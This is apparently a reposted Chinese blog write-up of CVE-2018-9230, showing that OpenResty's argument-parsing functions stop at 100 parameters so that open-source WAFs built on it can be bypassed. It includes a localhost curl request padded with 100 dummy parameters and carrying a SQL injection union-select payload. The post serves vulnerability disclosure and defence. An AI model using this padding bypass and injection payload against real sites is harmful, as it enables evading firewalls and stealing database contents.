打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
打破基于OpenResty的WEB安全防护(CVE
打破基于OpenResty的WEB安全防护(CVE-2018-9230)
2018年06月04日 12:59:12 阅读数:298更多 个人分类:WAF Bypass
版权声明:本文由Bypass原创发布,欢迎分享本文,转载请保留出处。 https://blog.csdn.net/qq_23936389/article/details/80565883
原文首发于安全客,原文链接:https://www.anquanke.com/post/id/103771
0x00 前言
​ OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。
OpenResty官网:https://openresty.org
漏洞编号:CVE-2018-9230
漏洞简介:OpenResty 通过ngx.req.get_uri_args、ngx.req.get_post_args函数进行uri参数获取,忽略参数溢出的情况,允许远程攻击者绕过基于OpenResty的安全防护,影响多款开源WAF。
影响版本:OpenResty全版本
0x01 环境搭建
运行环境:CentOS6
源码版本:https://openresty.org/download/openresty-1.13.6.1.tar.gz (官网最新版)
0x02 漏洞详情
A、uri参数获取
首先看一下官方 API 文档,获取一个 uri 有两个方法:ngx.req.get_uri_args、ngx.req.get_post_args,二者主要的区别是参数来源有区别,ngx.req.get_uri_args获取 uri 请求参数,ngx.req.get_post_args获取来自 post 请求内容。
测试用例:
server { listen 80; server_name localhost; location /test { content_by_lua_block { local arg = ngx.req.get_uri_args() for k,v in pairs(arg) do ngx.say("[GET ] key:", k, " v:", v) end ngx.req.read_body() local arg = ngx.req.get_post_args() for k,v in pairs(arg) do ngx.say("[POST] key:", k, " v:", v) end } }}
输出测试:
B、参数大小写
当提交同一参数id,根据接收参数的顺序进行排序,
可是当参数id,进行大小写变换,如变形为Id、iD、ID,则会被当做不同的参数。
这里,介绍参数大小写,主要用于进一步构造和理解测试用例。
C、参数溢出
如果当我们不段填充参数,会发生什么情况呢,为此我构造了一个方便用于展示的测试案例,a0-a9,10*10,共100参数,然后第101个参数添加SQL注入 Payload,我们来看看会发生什么?
测试用例:
curl '127.0.0.1/test? a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0& a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1& a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2& a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3& a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4& a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5& a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6& a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7& a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8& a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9& id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata'
输出结果:
可以看到,使用ngx.req.get_uri_args获取uri 请求参数,只获取前100个参数,第101个参数并没有获取到。继续构造一个POST请求,来看一下:
使用ngx.req.get_post_args 获取的post请求内容,也同样只获取前100个参数。
检查这两个函数的文档,出于安全原因默认的限制是100,它们接受一个可选参数,最多可以告诉它应该解析多少GET / POST参数。但只要攻击者构造的参数超过限制数就可以轻易绕过基于OpenResty的安全防护,这就存在一个uri参数溢出的问题。
综上,通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,当提交的参数超过限制数(默认限制100或可选参数限制),uri参数溢出,无法获取到限制数以后的参数值,更无法对攻击者构造的参数进行有效安全检测,从而绕过基于OpenResty的WEB安全防护。
0x03 影响产品
基于OpenResty构造的WEB安全防护,大多数使用ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,即默认限制100,并没有考虑参数溢出的情况,攻击者可构造超过限制数的参数,轻易的绕过安全防护。
基于OpenResty的开源WAF如:ngx_lua_waf、X-WAF、Openstar等,均受影响。
A、ngx_lua_waf
ngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙
github源码:https://github.com/loveshell/ngx_lua_waf
拦截效果图:
利用参数溢出Bypass:
B、X-WAF
X-WAF是一款适用中、小企业的云WAF系统,让中、小企业也可以非常方便地拥有自己的免费云WAF。
官网:https://waf.xsec.io
github源码:https://github.com/xsec-lab/x-waf
拦截效果图:
利用参数溢出Bypass:
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
想对作者说点什么?我来说一句
OpenResty(nginx扩展)实现防cc攻击 linuxnews 07-08 1619 OpenResty 通过汇聚各种设计精良的 Nginx 模块(主要由 OpenResty 团队自主开发),从而将 Nginx 有效地变成一个强大的通用 Web 应用平台。这样,Web 开发人员和系统工...
OpenResty学习笔记(十) 登录验证
leadersnowy 07-13 2488 上一篇中我们已经可能搭起一个完整的nginx的环境,那现在我们就可以做点什么了吧,先从一个最开始的事做起:登录。 一般来说登录这个动作是基本上所有的系统都需要的,就拿这个练手吧,先顺一下流程。web...
Web开发常见的几个漏洞解决方法
chengfangang 12-02 1513 原文出处: 伍华聪的博客   欢迎分享原创到伯乐头条平时工作,多数是开发Web项目,由于一般是开发内部使用的业务系统,所以对于安全性一般不是看的很重,基本上由于是内网系统,一般也很少会受到攻击...
WAF安全应用防火墙(openresty部署)
m0_37886429 06-13 7514 一、了解WAF1、定义 Web应用防护系统(也称:网站应用级入侵防御系统 。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用 防火墙 是...
Openresty最佳案例 | 汇总
forezp 11-23 1.9万 目录Openresty最佳案例 | 第1篇:Nginx介绍Openresty最佳案例 | 第2篇:Lua入门Openresty最佳案例 | 第3篇:Openresty安装Openresty最佳...
关于 Openresty 的两三事
kenkao 08-02 3443 http://lua.ren/topic/135/%E5%85%B3%E4%BA%8E-openresty-%E7%9A%84%E4%B8%A4%E4%B8%89%E4%BA%8B基础原理 Ngin...
初识内网渗透
weixin_39997829 04-16 43 参考文章:https://www.anquanke.com/post/id/86505http://www.freebuf.com/sectool/56432.htmlhttp://www.freeb...
使用Nginx+Lua实现的WAF - 学习笔记
wmj2004 04-28 3230 一.OpenResty安装和测试官方网站:https://openresty.org/cn/ LUA学习:http://blog.jobbole.com/70480/1.安装OpenResty:# ...
nginx 另一WAF方式
cnbird2008 03-01 2773 使用方法:vi /usr/local/nginx/conf/drop_sql.conf添加以下内容代码:## Block SQL injectionsset $block_sql_...
开源waf之centos7下openresty的安装与实践
u013175604 07-01 69 OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 W...
Ubuntu 完整升级 OpenResty 版本
Gamay 06-26 579 在前面的《Ubuntu 编译安装 OpenResty 及拓展支持》已经介绍过如何安装 OpenResty 了,不过类似上面安装的教程那么多,但是升级的教程就不太多了。作为一个对你负责的教程,搞坏了你的...
openresty+consul动态配置更新(服务变更发现)
yueguanghaidao 10-19 7479 最近在做数据收集平台,用openresty往kafka里push数据,不管是kafka broker也好,还是一个配置也好,希望做到动态更新,不需要reload openresty。尤其是针对接口调用...
开源漏洞扫描器合集
MyPC2010 08-29 2883 https://github.com/Canbing007/wukong-agentpythonredisawvs apinessus api====================...
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
mac下nginx+lua+kafka实现日志统一收集汇总
OpenResty + ngx_lua_waf使用
一个非常强大和友好的nginx基于lua
openresty使用http模块
openresty 简介
第二章 Nginx+Lua开发入门
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服